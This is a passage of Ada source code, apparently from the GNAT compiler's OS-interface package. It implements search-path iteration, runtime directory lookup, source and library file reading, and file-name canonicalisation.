while Upper_Bound <= Search_Path'Last
and then Search_Path.all (Upper_Bound) /= Path_Separator
loop
Upper_Bound := Upper_Bound + 1;
end loop;
Search_Path_Pos := Upper_Bound;
return new String'(Search_Path.all (Lower_Bound .. Upper_Bound - 1));
end loop;
return null;
end Get_Next_Dir_In_Path;
-------------------------------
-- Get_Next_Dir_In_Path_Init --
-------------------------------
procedure Get_Next_Dir_In_Path_Init (Search_Path : String_Access) is
begin
Search_Path_Pos := Search_Path'First;
end Get_Next_Dir_In_Path_Init;
--------------------------------------
-- Get_Primary_Src_Search_Directory --
--------------------------------------
function Get_Primary_Src_Search_Directory return String_Ptr is
begin
return Src_Search_Directories.Table (Primary_Directory);
end Get_Primary_Src_Search_Directory;
------------------------
-- Get_RTS_Search_Dir --
------------------------
function Get_RTS_Search_Dir
(Search_Dir : String;
File_Type : Search_File_Type) return String_Ptr
is
procedure Get_Current_Dir
(Dir : System.Address;
Length : System.Address);
pragma Import (C, Get_Current_Dir, "__gnat_get_current_dir");
Max_Path : Integer;
pragma Import (C, Max_Path, "__gnat_max_path_len");
-- Maximum length of a path name
Current_Dir : String_Ptr;
Default_Search_Dir : String_Access;
Default_Suffix_Dir : String_Access;
Local_Search_Dir : String_Access;
Norm_Search_Dir : String_Access;
Result_Search_Dir : String_Access;
Search_File : String_Access;
Temp_String : String_Ptr;
begin
-- Add a directory separator at the end of the directory if necessary
-- so that we can directly append a file to the directory
if Search_Dir (Search_Dir'Last) /= Directory_Separator then
Local_Search_Dir := new String'
(Concat (Search_Dir, String'(1 => Directory_Separator)));
else
Local_Search_Dir := new String'(Search_Dir);
end if;
if File_Type = Include then
Search_File := Include_Search_File;
Default_Suffix_Dir := new String'("adainclude");
else
Search_File := Objects_Search_File;
Default_Suffix_Dir := new String'("adalib");
end if;
Norm_Search_Dir := To_Canonical_Path_Spec (Local_Search_Dir.all);
if Is_Absolute_Path (Norm_Search_Dir.all) then
-- We first verify if there is a directory Include_Search_Dir
-- containing default search directories
Result_Search_Dir
:= Read_Default_Search_Dirs (Norm_Search_Dir,
Search_File,
null);
Default_Search_Dir := new String'
(Concat (Norm_Search_Dir.all, Default_Suffix_Dir.all));
Free (Norm_Search_Dir);
if Result_Search_Dir /= null then
return String_Ptr (Result_Search_Dir);
elsif Is_Directory (Default_Search_Dir.all) then
return String_Ptr (Default_Search_Dir);
else
return null;
end if;
-- Search in the current directory
else
-- Get the current directory
declare
Buffer : String (1 .. Max_Path + 2);
Path_Len : Natural := Max_Path;
begin
Get_Current_Dir (Buffer'Address, Path_Len'Address);
if Buffer (Path_Len) /= Directory_Separator then
Path_Len := Path_Len + 1;
Buffer (Path_Len) := Directory_Separator;
end if;
Current_Dir := new String'(Buffer (1 .. Path_Len));
end;
Norm_Search_Dir :=
new String'(Concat (Current_Dir.all, Local_Search_Dir.all));
Result_Search_Dir :=
Read_Default_Search_Dirs (Norm_Search_Dir, Search_File, null);
Default_Search_Dir :=
new String'
(Concat (Norm_Search_Dir.all, Default_Suffix_Dir.all));
Free (Norm_Search_Dir);
if Result_Search_Dir /= null then
return String_Ptr (Result_Search_Dir);
elsif Is_Directory (Default_Search_Dir.all) then
return String_Ptr (Default_Search_Dir);
else
-- Search in Search_Dir_Prefix/Search_Dir
Norm_Search_Dir :=
new String'
(Concat (Update_Path (Search_Dir_Prefix).all,
Local_Search_Dir.all));
Result_Search_Dir :=
Read_Default_Search_Dirs (Norm_Search_Dir, Search_File, null);
Default_Search_Dir :=
new String'
(Concat (Norm_Search_Dir.all, Default_Suffix_Dir.all));
Free (Norm_Search_Dir);
if Result_Search_Dir /= null then
return String_Ptr (Result_Search_Dir);
elsif Is_Directory (Default_Search_Dir.all) then
return String_Ptr (Default_Search_Dir);
else
-- We finally search in Search_Dir_Prefix/rts-Search_Dir
Temp_String :=
new String'
(Concat (Update_Path (Search_Dir_Prefix).all, "rts-"));
Norm_Search_Dir :=
new String'(Concat (Temp_String.all, Local_Search_Dir.all));
Result_Search_Dir :=
Read_Default_Search_Dirs (Norm_Search_Dir, Search_File, null);
Default_Search_Dir :=
new String'
(Concat (Norm_Search_Dir.all, Default_Suffix_Dir.all));
Free (Norm_Search_Dir);
if Result_Search_Dir /= null then
return String_Ptr (Result_Search_Dir);
elsif Is_Directory (Default_Search_Dir.all) then
return String_Ptr (Default_Search_Dir);
else
return null;
end if;
end if;
end if;
end if;
end Get_RTS_Search_Dir;
--------------------------------
-- Include_Dir_Default_Prefix --
--------------------------------
function Include_Dir_Default_Prefix return String is
Include_Dir : String_Access :=
String_Access (Update_Path (Include_Dir_Default_Name));
begin
if Include_Dir = null then
return "";
else
declare
Result : constant String := Include_Dir.all;
begin
Free (Include_Dir);
return Result;
end;
end if;
end Include_Dir_Default_Prefix;
----------------
-- Initialize --
----------------
procedure Initialize is
begin
Number_File_Names := 0;
Current_File_Name_Index := 0;
Src_Search_Directories.Init;
Lib_Search_Directories.Init;
-- Start off by setting all suppress options to False, these will
-- be reset later (turning some on if -gnato is not specified, and
-- turning all of them on if -gnatp is specified).
Suppress_Options := (others => False);
-- Reserve the first slot in the search paths table. This is the
-- directory of the main source file or main library file and is
-- filled in by each call to Next_Main_Source/Next_Main_Lib_File with
-- the directory specified for this main source or library file. This
-- is the directory which is searched first by default. This default
-- search is inhibited by the option -I- for both source and library
-- files.
Src_Search_Directories.Set_Last (Primary_Directory);
Src_Search_Directories.Table (Primary_Directory) := new String'("");
Lib_Search_Directories.Set_Last (Primary_Directory);
Lib_Search_Directories.Table (Primary_Directory) := new String'("");
end Initialize;
----------------------------
-- Is_Directory_Separator --
----------------------------
function Is_Directory_Separator (C : Character) return Boolean is
begin
-- In addition to the default directory_separator allow the '/' to
-- act as separator since this is allowed in MS-DOS, Windows 95/NT,
-- and OS2 ports. On VMS, the situation is more complicated because
-- there are two characters to check for.
return
C = Directory_Separator
or else C = '/'
or else (Hostparm.OpenVMS
and then (C = ']' or else C = ':'));
end Is_Directory_Separator;
-------------------------
-- Is_Readonly_Library --
-------------------------
function Is_Readonly_Library (File : File_Name_Type) return Boolean is
begin
Get_Name_String (File);
pragma Assert (Name_Buffer (Name_Len - 3 .. Name_Len) = ".ali");
return not Is_Writable_File (Name_Buffer (1 .. Name_Len));
end Is_Readonly_Library;
-------------------
-- Lib_File_Name --
-------------------
function Lib_File_Name
(Source_File : File_Name_Type;
Munit_Index : Nat := 0) return File_Name_Type
is
begin
Get_Name_String (Source_File);
for J in reverse 2 .. Name_Len loop
if Name_Buffer (J) = '.' then
Name_Len := J - 1;
exit;
end if;
end loop;
if Munit_Index /= 0 then
Add_Char_To_Name_Buffer (Multi_Unit_Index_Character);
Add_Nat_To_Name_Buffer (Munit_Index);
end if;
Add_Char_To_Name_Buffer ('.');
Add_Str_To_Name_Buffer (ALI_Suffix.all);
return Name_Find;
end Lib_File_Name;
------------------------
-- Library_File_Stamp --
------------------------
function Library_File_Stamp (N : File_Name_Type) return Time_Stamp_Type is
begin
return File_Stamp (Find_File (N, Library));
end Library_File_Stamp;
-----------------
-- Locate_File --
-----------------
function Locate_File
(N : File_Name_Type;
T : File_Type;
Dir : Natural;
Name : String) return File_Name_Type
is
Dir_Name : String_Ptr;
begin
-- If Name is already an absolute path, do not look for a directory
if Is_Absolute_Path (Name) then
Dir_Name := No_Dir;
elsif T = Library then
Dir_Name := Lib_Search_Directories.Table (Dir);
else pragma Assert (T /= Config);
Dir_Name := Src_Search_Directories.Table (Dir);
end if;
declare
Full_Name : String (1 .. Dir_Name'Length + Name'Length);
begin
Full_Name (1 .. Dir_Name'Length) := Dir_Name.all;
Full_Name (Dir_Name'Length + 1 .. Full_Name'Length) := Name;
if not Is_Regular_File (Full_Name) then
return No_File;
else
-- If the file is in the current directory then return N itself
if Dir_Name'Length = 0 then
return N;
else
Name_Len := Full_Name'Length;
Name_Buffer (1 .. Name_Len) := Full_Name;
return Name_Enter;
end if;
end if;
end;
end Locate_File;
-------------------------------
-- Matching_Full_Source_Name --
-------------------------------
function Matching_Full_Source_Name
(N : File_Name_Type;
T : Time_Stamp_Type) return File_Name_Type
is
begin
Get_Name_String (N);
declare
File_Name : constant String := Name_Buffer (1 .. Name_Len);
File : File_Name_Type := No_File;
Last_Dir : Natural;
begin
if Opt.Look_In_Primary_Dir then
File := Locate_File (N, Source, Primary_Directory, File_Name);
if File /= No_File and then T = File_Stamp (N) then
return File;
end if;
end if;
Last_Dir := Src_Search_Directories.Last;
for D in Primary_Directory + 1 .. Last_Dir loop
File := Locate_File (N, Source, D, File_Name);
if File /= No_File and then T = File_Stamp (File) then
return File;
end if;
end loop;
return No_File;
end;
end Matching_Full_Source_Name;
----------------
-- More_Files --
----------------
function More_Files return Boolean is
begin
return (Current_File_Name_Index < Number_File_Names);
end More_Files;
-------------------------------
-- Nb_Dir_In_Obj_Search_Path --
-------------------------------
function Nb_Dir_In_Obj_Search_Path return Natural is
begin
if Opt.Look_In_Primary_Dir then
return Lib_Search_Directories.Last - Primary_Directory + 1;
else
return Lib_Search_Directories.Last - Primary_Directory;
end if;
end Nb_Dir_In_Obj_Search_Path;
-------------------------------
-- Nb_Dir_In_Src_Search_Path --
-------------------------------
function Nb_Dir_In_Src_Search_Path return Natural is
begin
if Opt.Look_In_Primary_Dir then
return Src_Search_Directories.Last - Primary_Directory + 1;
else
return Src_Search_Directories.Last - Primary_Directory;
end if;
end Nb_Dir_In_Src_Search_Path;
--------------------
-- Next_Main_File --
--------------------
function Next_Main_File return File_Name_Type is
File_Name : String_Ptr;
Dir_Name : String_Ptr;
Fptr : Natural;
begin
pragma Assert (More_Files);
Current_File_Name_Index := Current_File_Name_Index + 1;
-- Get the file and directory name
File_Name := File_Names (Current_File_Name_Index);
Fptr := File_Name'First;
for J in reverse File_Name'Range loop
if File_Name (J) = Directory_Separator
or else File_Name (J) = '/'
then
if J = File_Name'Last then
Fail ("File name missing");
end if;
Fptr := J + 1;
exit;
end if;
end loop;
-- Save name of directory in which main unit resides for use in
-- locating other units
Dir_Name := new String'(File_Name (File_Name'First .. Fptr - 1));
case Running_Program is
when Compiler =>
Src_Search_Directories.Table (Primary_Directory) := Dir_Name;
Look_In_Primary_Directory_For_Current_Main := True;
when Make =>
Src_Search_Directories.Table (Primary_Directory) := Dir_Name;
if Fptr > File_Name'First then
Look_In_Primary_Directory_For_Current_Main := True;
end if;
when Binder | Gnatls =>
Dir_Name := Normalize_Directory_Name (Dir_Name.all);
Lib_Search_Directories.Table (Primary_Directory) := Dir_Name;
when Unspecified =>
null;
end case;
Name_Len := File_Name'Last - Fptr + 1;
Name_Buffer (1 .. Name_Len) := File_Name (Fptr .. File_Name'Last);
Canonical_Case_File_Name (Name_Buffer (1 .. Name_Len));
Current_Main := File_Name_Type (Name_Find);
-- In the gnatmake case, the main file may have not have the
-- extension. Try ".adb" first then ".ads"
if Running_Program = Make then
declare
Orig_Main : constant File_Name_Type := Current_Main;
begin
if Strip_Suffix (Orig_Main) = Orig_Main then
Current_Main := Append_Suffix_To_File_Name (Orig_Main, ".adb");
if Full_Source_Name (Current_Main) = No_File then
Current_Main :=
Append_Suffix_To_File_Name (Orig_Main, ".ads");
if Full_Source_Name (Current_Main) = No_File then
Current_Main := Orig_Main;
end if;
end if;
end if;
end;
end if;
return Current_Main;
end Next_Main_File;
------------------------------
-- Normalize_Directory_Name --
------------------------------
function Normalize_Directory_Name (Directory : String) return String_Ptr is
function Is_Quoted (Path : String) return Boolean;
pragma Inline (Is_Quoted);
-- Returns true if Path is quoted (either double or single quotes)
---------------
-- Is_Quoted --
---------------
function Is_Quoted (Path : String) return Boolean is
First : constant Character := Path (Path'First);
Last : constant Character := Path (Path'Last);
begin
if (First = ''' and then Last = ''')
or else
(First = '"' and then Last = '"')
then
return True;
else
return False;
end if;
end Is_Quoted;
Result : String_Ptr;
-- Start of processing for Normalize_Directory_Name
begin
if Directory'Length = 0 then
Result := new String'(Hostparm.Normalized_CWD);
elsif Is_Directory_Separator (Directory (Directory'Last)) then
Result := new String'(Directory);
elsif Is_Quoted (Directory) then
-- This is a quoted string, it certainly means that the directory
-- contains some spaces for example. We can safely remove the quotes
-- here as the OS_Lib.Normalize_Arguments will be called before any
-- spawn routines. This ensure that quotes will be added when needed.
Result := new String (1 .. Directory'Length - 1);
Result (1 .. Directory'Length - 1) :=
Directory (Directory'First + 1 .. Directory'Last - 1);
Result (Result'Last) := Directory_Separator;
else
Result := new String (1 .. Directory'Length + 1);
Result (1 .. Directory'Length) := Directory;
Result (Directory'Length + 1) := Directory_Separator;
end if;
return Result;
end Normalize_Directory_Name;
---------------------
-- Number_Of_Files --
---------------------
function Number_Of_Files return Int is
begin
return Number_File_Names;
end Number_Of_Files;
-------------------------------
-- Object_Dir_Default_Prefix --
-------------------------------
function Object_Dir_Default_Prefix return String is
Object_Dir : String_Access :=
String_Access (Update_Path (Object_Dir_Default_Name));
begin
if Object_Dir = null then
return "";
else
declare
Result : constant String := Object_Dir.all;
begin
Free (Object_Dir);
return Result;
end;
end if;
end Object_Dir_Default_Prefix;
----------------------
-- Object_File_Name --
----------------------
function Object_File_Name (N : File_Name_Type) return File_Name_Type is
begin
if N = No_File then
return No_File;
end if;
Get_Name_String (N);
Name_Len := Name_Len - ALI_Suffix'Length - 1;
for J in Target_Object_Suffix'Range loop
Name_Len := Name_Len + 1;
Name_Buffer (Name_Len) := Target_Object_Suffix (J);
end loop;
return Name_Enter;
end Object_File_Name;
--------------------------
-- OS_Time_To_GNAT_Time --
--------------------------
function OS_Time_To_GNAT_Time (T : OS_Time) return Time_Stamp_Type is
GNAT_Time : Time_Stamp_Type;
Y : Year_Type;
Mo : Month_Type;
D : Day_Type;
H : Hour_Type;
Mn : Minute_Type;
S : Second_Type;
begin
GM_Split (T, Y, Mo, D, H, Mn, S);
Make_Time_Stamp
(Year => Nat (Y),
Month => Nat (Mo),
Day => Nat (D),
Hour => Nat (H),
Minutes => Nat (Mn),
Seconds => Nat (S),
TS => GNAT_Time);
return GNAT_Time;
end OS_Time_To_GNAT_Time;
------------------
-- Program_Name --
------------------
function Program_Name (Nam : String) return String_Access is
Res : String_Access;
begin
-- Get the name of the current program being executed
Find_Program_Name;
-- Find the target prefix if any, for the cross compilation case
-- for instance in "alpha-dec-vxworks-gcc" the target prefix is
-- "alpha-dec-vxworks-"
while Name_Len > 0 loop
-- All done if we find the last hyphen
if Name_Buffer (Name_Len) = '-' then
exit;
-- If directory separator found, we don't want to look further
-- since in this case, no prefix has been found.
elsif Is_Directory_Separator (Name_Buffer (Name_Len)) then
Name_Len := 0;
exit;
end if;
Name_Len := Name_Len - 1;
end loop;
-- Create the new program name
Res := new String (1 .. Name_Len + Nam'Length);
Res.all (1 .. Name_Len) := Name_Buffer (1 .. Name_Len);
Res.all (Name_Len + 1 .. Name_Len + Nam'Length) := Nam;
return Res;
end Program_Name;
------------------------------
-- Read_Default_Search_Dirs --
------------------------------
function Read_Default_Search_Dirs
(Search_Dir_Prefix : String_Access;
Search_File : String_Access;
Search_Dir_Default_Name : String_Access) return String_Access
is
Prefix_Len : constant Integer := Search_Dir_Prefix.all'Length;
Buffer : String (1 .. Prefix_Len + Search_File.all'Length + 1);
File_FD : File_Descriptor;
S, S1 : String_Access;
Len : Integer;
Curr : Integer;
Actual_Len : Integer;
J1 : Integer;
Prev_Was_Separator : Boolean;
Nb_Relative_Dir : Integer;
function Is_Relative (S : String; K : Positive) return Boolean;
pragma Inline (Is_Relative);
-- Returns True if a relative directory specification is found
-- in S at position K, False otherwise.
-----------------
-- Is_Relative --
-----------------
function Is_Relative (S : String; K : Positive) return Boolean is
begin
return not Is_Absolute_Path (S (K .. S'Last));
end Is_Relative;
-- Start of processing for Read_Default_Search_Dirs
begin
-- Construct a C compatible character string buffer
Buffer (1 .. Search_Dir_Prefix.all'Length)
:= Search_Dir_Prefix.all;
Buffer (Search_Dir_Prefix.all'Length + 1 .. Buffer'Last - 1)
:= Search_File.all;
Buffer (Buffer'Last) := ASCII.NUL;
File_FD := Open_Read (Buffer'Address, Binary);
if File_FD = Invalid_FD then
return Search_Dir_Default_Name;
end if;
Len := Integer (File_Length (File_FD));
-- An extra character for a trailing Path_Separator is allocated
S := new String (1 .. Len + 1);
S (Len + 1) := Path_Separator;
-- Read the file. Note that the loop is not necessary since the
-- whole file is read at once except on VMS.
Curr := 1;
Actual_Len := Len;
while Actual_Len /= 0 loop
Actual_Len := Read (File_FD, S (Curr)'Address, Len);
Curr := Curr + Actual_Len;
end loop;
-- Process the file, translating line and file ending
-- control characters to a path separator character.
Prev_Was_Separator := True;
Nb_Relative_Dir := 0;
for J in 1 .. Len loop
if S (J) in ASCII.NUL .. ASCII.US
or else S (J) = ' '
then
S (J) := Path_Separator;
end if;
if S (J) = Path_Separator then
Prev_Was_Separator := True;
else
if Prev_Was_Separator and then Is_Relative (S.all, J) then
Nb_Relative_Dir := Nb_Relative_Dir + 1;
end if;
Prev_Was_Separator := False;
end if;
end loop;
if Nb_Relative_Dir = 0 then
return S;
end if;
-- Add the Search_Dir_Prefix to all relative paths
S1 := new String (1 .. S'Length + Nb_Relative_Dir * Prefix_Len);
J1 := 1;
Prev_Was_Separator := True;
for J in 1 .. Len + 1 loop
if S (J) = Path_Separator then
Prev_Was_Separator := True;
else
if Prev_Was_Separator and then Is_Relative (S.all, J) then
S1 (J1 .. J1 + Prefix_Len - 1) := Search_Dir_Prefix.all;
J1 := J1 + Prefix_Len;
end if;
Prev_Was_Separator := False;
end if;
S1 (J1) := S (J);
J1 := J1 + 1;
end loop;
Free (S);
return S1;
end Read_Default_Search_Dirs;
-----------------------
-- Read_Library_Info --
-----------------------
function Read_Library_Info
(Lib_File : File_Name_Type;
Fatal_Err : Boolean := False) return Text_Buffer_Ptr
is
Lib_FD : File_Descriptor;
-- The file descriptor for the current library file. A negative value
-- indicates failure to open the specified source file.
Text : Text_Buffer_Ptr;
-- Allocated text buffer
Status : Boolean;
-- For the calls to Close
begin
Current_Full_Lib_Name := Find_File (Lib_File, Library);
Current_Full_Obj_Name := Object_File_Name (Current_Full_Lib_Name);
if Current_Full_Lib_Name = No_File then
if Fatal_Err then
Fail ("Cannot find: ", Name_Buffer (1 .. Name_Len));
else
Current_Full_Obj_Stamp := Empty_Time_Stamp;
return null;
end if;
end if;
Get_Name_String (Current_Full_Lib_Name);
Name_Buffer (Name_Len + 1) := ASCII.NUL;
-- Open the library FD, note that we open in binary mode, because as
-- documented in the spec, the caller is expected to handle either
-- DOS or Unix mode files, and there is no point in wasting time on
-- text translation when it is not required.
Lib_FD := Open_Read (Name_Buffer'Address, Binary);
if Lib_FD = Invalid_FD then
if Fatal_Err then
Fail ("Cannot open: ", Name_Buffer (1 .. Name_Len));
else
Current_Full_Obj_Stamp := Empty_Time_Stamp;
return null;
end if;
end if;
-- Check for object file consistency if requested
if Opt.Check_Object_Consistency then
Current_Full_Lib_Stamp := File_Stamp (Current_Full_Lib_Name);
Current_Full_Obj_Stamp := File_Stamp (Current_Full_Obj_Name);
if Current_Full_Obj_Stamp (1) = ' ' then
-- When the library is readonly, always assume that
-- the object is consistent.
if Is_Readonly_Library (Current_Full_Lib_Name) then
Current_Full_Obj_Stamp := Current_Full_Lib_Stamp;
elsif Fatal_Err then
Get_Name_String (Current_Full_Obj_Name);
Close (Lib_FD, Status);
-- No need to check the status, we fail anyway
Fail ("Cannot find: ", Name_Buffer (1 .. Name_Len));
else
Current_Full_Obj_Stamp := Empty_Time_Stamp;
Close (Lib_FD, Status);
-- No need to check the status, we return null anyway
return null;
end if;
end if;
end if;
-- Read data from the file
declare
Len : constant Integer := Integer (File_Length (Lib_FD));
-- Length of source file text. If it doesn't fit in an integer
-- we're probably stuck anyway (>2 gigs of source seems a lot!)
Actual_Len : Integer := 0;
Lo : constant Text_Ptr := 0;
-- Low bound for allocated text buffer
Hi : Text_Ptr := Text_Ptr (Len);
-- High bound for allocated text buffer. Note length is Len + 1
-- which allows for extra EOF character at the end of the buffer.
begin
-- Allocate text buffer. Note extra character at end for EOF
Text := new Text_Buffer (Lo .. Hi);
-- Some systems (e.g. VMS) have file types that require one
-- read per line, so read until we get the Len bytes or until
-- there are no more characters.
Hi := Lo;
loop
Actual_Len := Read (Lib_FD, Text (Hi)'Address, Len);
Hi := Hi + Text_Ptr (Actual_Len);
exit when Actual_Len = Len or Actual_Len <= 0;
end loop;
Text (Hi) := EOF;
end;
-- Read is complete, close file and we are done
Close (Lib_FD, Status);
-- The status should never be False. But, if it is, what can we do?
-- So, we don't test it.
return Text;
end Read_Library_Info;
----------------------
-- Read_Source_File --
----------------------
procedure Read_Source_File
(N : File_Name_Type;
Lo : Source_Ptr;
Hi : out Source_Ptr;
Src : out Source_Buffer_Ptr;
T : File_Type := Source)
is
Source_File_FD : File_Descriptor;
-- The file descriptor for the current source file. A negative value
-- indicates failure to open the specified source file.
Len : Integer;
-- Length of file. Assume no more than 2 gigabytes of source!
Actual_Len : Integer;
Status : Boolean;
-- For the call to Close
-- LLVM local
pragma Warnings (Off, Status);
begin
Current_Full_Source_Name := Find_File (N, T);
Current_Full_Source_Stamp := File_Stamp (Current_Full_Source_Name);
if Current_Full_Source_Name = No_File then
-- If we were trying to access the main file and we could not
-- find it we have an error.
if N = Current_Main then
Get_Name_String (N);
Fail ("Cannot find: ", Name_Buffer (1 .. Name_Len));
end if;
Src := null;
Hi := No_Location;
return;
end if;
Get_Name_String (Current_Full_Source_Name);
Name_Buffer (Name_Len + 1) := ASCII.NUL;
-- Open the source FD, note that we open in binary mode, because as
-- documented in the spec, the caller is expected to handle either
-- DOS or Unix mode files, and there is no point in wasting time on
-- text translation when it is not required.
Source_File_FD := Open_Read (Name_Buffer'Address, Binary);
if Source_File_FD = Invalid_FD then
Src := null;
Hi := No_Location;
return;
end if;
-- Prepare to read data from the file
Len := Integer (File_Length (Source_File_FD));
-- Set Hi so that length is one more than the physical length,
-- allowing for the extra EOF character at the end of the buffer
Hi := Lo + Source_Ptr (Len);
-- Do the actual read operation
declare
subtype Actual_Source_Buffer is Source_Buffer (Lo .. Hi);
-- Physical buffer allocated
type Actual_Source_Ptr is access Actual_Source_Buffer;
-- This is the pointer type for the physical buffer allocated
Actual_Ptr : constant Actual_Source_Ptr := new Actual_Source_Buffer;
-- And this is the actual physical buffer
begin
-- Allocate source buffer, allowing extra character at end for EOF
-- Some systems (e.g. VMS) have file types that require one
-- read per line, so read until we get the Len bytes or until
-- there are no more characters.
Hi := Lo;
loop
Actual_Len := Read (Source_File_FD, Actual_Ptr (Hi)'Address, Len);
Hi := Hi + Source_Ptr (Actual_Len);
exit when Actual_Len = Len or Actual_Len <= 0;
end loop;
Actual_Ptr (Hi) := EOF;
-- Now we need to work out the proper virtual origin pointer to
-- return. This is exactly Actual_Ptr (0)'Address, but we have
-- to be careful to suppress checks to compute this address.
declare
pragma Suppress (All_Checks);
pragma Warnings (Off);
-- This use of unchecked conversion is aliasing safe
function To_Source_Buffer_Ptr is new
Unchecked_Conversion (Address, Source_Buffer_Ptr);
pragma Warnings (On);
begin
Src := To_Source_Buffer_Ptr (Actual_Ptr (0)'Address);
end;
end;
-- Read is complete, get time stamp and close file and we are done
Close (Source_File_FD, Status);
-- The status should never be False. But, if it is, what can we do?
-- So, we don't test it.
end Read_Source_File;
-------------------
-- Relocate_Path --
-------------------
function Relocate_Path
(Prefix : String;
Path : String) return String_Ptr
is
S : String_Ptr;
procedure set_std_prefix (S : String; Len : Integer);
pragma Import (C, set_std_prefix);
begin
if Std_Prefix = null then
Std_Prefix := Executable_Prefix;
if Std_Prefix.all /= "" then
-- Remove trailing directory separator when calling set_std_prefix
set_std_prefix (Std_Prefix.all, Std_Prefix'Length - 1);
end if;
end if;
if Path (Prefix'Range) = Prefix then
if Std_Prefix.all /= "" then
S := new String
(1 .. Std_Prefix'Length + Path'Last - Prefix'Last);
S (1 .. Std_Prefix'Length) := Std_Prefix.all;
S (Std_Prefix'Length + 1 .. S'Last) :=
Path (Prefix'Last + 1 .. Path'Last);
return S;
end if;
end if;
return new String'(Path);
end Relocate_Path;
-----------------
-- Set_Program --
-----------------
procedure Set_Program (P : Program_Type) is
begin
if Program_Set then
Fail ("Set_Program called twice");
end if;
Program_Set := True;
Running_Program := P;
end Set_Program;
----------------
-- Shared_Lib --
----------------
function Shared_Lib (Name : String) return String is
Library : String (1 .. Name'Length + Library_Version'Length + 3);
-- 3 = 2 for "-l" + 1 for "-" before lib version
begin
Library (1 .. 2) := "-l";
Library (3 .. 2 + Name'Length) := Name;
Library (3 + Name'Length) := '-';
Library (4 + Name'Length .. Library'Last) := Library_Version;
if OpenVMS_On_Target then
for K in Library'First + 2 .. Library'Last loop
if Library (K) = '.' or else Library (K) = '-' then
Library (K) := '_';
end if;
end loop;
end if;
return Library;
end Shared_Lib;
----------------------
-- Smart_File_Stamp --
----------------------
function Smart_File_Stamp
(N : File_Name_Type;
T : File_Type) return Time_Stamp_Type
is
Time_Stamp : Time_Stamp_Type;
begin
if not File_Cache_Enabled then
return File_Stamp (Find_File (N, T));
end if;
Time_Stamp := File_Stamp_Hash_Table.Get (N);
if Time_Stamp (1) = ' ' then
Time_Stamp := File_Stamp (Smart_Find_File (N, T));
File_Stamp_Hash_Table.Set (N, Time_Stamp);
end if;
return Time_Stamp;
end Smart_File_Stamp;
---------------------
-- Smart_Find_File --
---------------------
function Smart_Find_File
(N : File_Name_Type;
T : File_Type) return File_Name_Type
is
Full_File_Name : File_Name_Type;
begin
if not File_Cache_Enabled then
return Find_File (N, T);
end if;
Full_File_Name := File_Name_Hash_Table.Get (N);
if Full_File_Name = No_File then
Full_File_Name := Find_File (N, T);
File_Name_Hash_Table.Set (N, Full_File_Name);
end if;
return Full_File_Name;
end Smart_Find_File;
----------------------
-- Source_File_Data --
----------------------
procedure Source_File_Data (Cache : Boolean) is
begin
File_Cache_Enabled := Cache;
end Source_File_Data;
-----------------------
-- Source_File_Stamp --
-----------------------
function Source_File_Stamp (N : File_Name_Type) return Time_Stamp_Type is
begin
return Smart_File_Stamp (N, Source);
end Source_File_Stamp;
---------------------
-- Strip_Directory --
---------------------
function Strip_Directory (Name : File_Name_Type) return File_Name_Type is
begin
Get_Name_String (Name);
for J in reverse 1 .. Name_Len - 1 loop
-- If we find the last directory separator
if Is_Directory_Separator (Name_Buffer (J)) then
-- Return the part of Name that follows this last directory
-- separator.
Name_Buffer (1 .. Name_Len - J) := Name_Buffer (J + 1 .. Name_Len);
Name_Len := Name_Len - J;
return Name_Find;
end if;
end loop;
-- There were no directory separator, just return Name
return Name;
end Strip_Directory;
------------------
-- Strip_Suffix --
------------------
function Strip_Suffix (Name : File_Name_Type) return File_Name_Type is
begin
Get_Name_String (Name);
for J in reverse 2 .. Name_Len loop
-- If we found the last '.', return part of Name that precedes it
if Name_Buffer (J) = '.' then
Name_Len := J - 1;
return Name_Enter;
end if;
end loop;
return Name;
end Strip_Suffix;
---------------------------
-- To_Canonical_Dir_Spec --
---------------------------
function To_Canonical_Dir_Spec
(Host_Dir : String;
Prefix_Style : Boolean) return String_Access
is
function To_Canonical_Dir_Spec
(Host_Dir : Address;
Prefix_Flag : Integer) return Address;
pragma Import (C, To_Canonical_Dir_Spec, "__gnat_to_canonical_dir_spec");
C_Host_Dir : String (1 .. Host_Dir'Length + 1);
Canonical_Dir_Addr : Address;
Canonical_Dir_Len : Integer;
begin
C_Host_Dir (1 .. Host_Dir'Length) := Host_Dir;
C_Host_Dir (C_Host_Dir'Last) := ASCII.NUL;
if Prefix_Style then
Canonical_Dir_Addr := To_Canonical_Dir_Spec (C_Host_Dir'Address, 1);
else
Canonical_Dir_Addr := To_Canonical_Dir_Spec (C_Host_Dir'Address, 0);
end if;
Canonical_Dir_Len := C_String_Length (Canonical_Dir_Addr);
if Canonical_Dir_Len = 0 then
return null;
else
return To_Path_String_Access (Canonical_Dir_Addr, Canonical_Dir_Len);
end if;
exception
when others =>
Fail ("erroneous directory spec: ", Host_Dir);
return null;
end To_Canonical_Dir_Spec;
---------------------------
-- To_Canonical_File_List --
---------------------------
function To_Canonical_File_List
(Wildcard_Host_File : String;
Only_Dirs : Boolean) return String_Access_List_Access
is
function To_Canonical_File_List_Init
(Host_File : Address;
Only_Dirs : Integer) return Integer;
pragma Import (C, To_Canonical_File_List_Init,
"__gnat_to_canonical_file_list_init");
function To_Canonical_File_List_Next return Address;
pragma Import (C, To_Canonical_File_List_Next,
"__gnat_to_canonical_file_list_next");
procedure To_Canonical_File_List_Free;
pragma Import (C, To_Canonical_File_List_Free,
"__gnat_to_canonical_file_list_free");
Num_Files : Integer;
C_Wildcard_Host_File : String (1 .. Wildcard_Host_File'Length + 1);
begin
C_Wildcard_Host_File (1 .. Wildcard_Host_File'Length) :=
Wildcard_Host_File;
C_Wildcard_Host_File (C_Wildcard_Host_File'Last) := ASCII.NUL;
-- Do the expansion and say how many there are
Num_Files := To_Canonical_File_List_Init
(C_Wildcard_Host_File'Address, Boolean'Pos (Only_Dirs));
declare
Canonical_File_List : String_Access_List (1 .. Num_Files);
Canonical_File_Addr : Address;
Canonical_File_Len : Integer;
begin
-- Retrieve the expanded directoy names and build the list
for J in 1 .. Num_Files loop
Canonical_File_Addr := To_Canonical_File_List_Next;
Canonical_File_Len := C_String_Length (Canonical_File_Addr);
Canonical_File_List (J) := To_Path_String_Access
(Canonical_File_Addr, Canonical_File_Len);
end loop;
-- Free up the storage
To_Canonical_File_List_Free;
return new String_Access_List'(Canonical_File_List);
end;
end To_Canonical_File_List;
----------------------------
-- To_Canonical_File_Spec --
----------------------------
function To_Canonical_File_Spec
(Host_File : String) return String_Access
is
function To_Canonical_File_Spec (Host_File : Address) return Address;
pragma Import
(C, To_Canonical_File_Spec, "__gnat_to_canonical_file_spec");
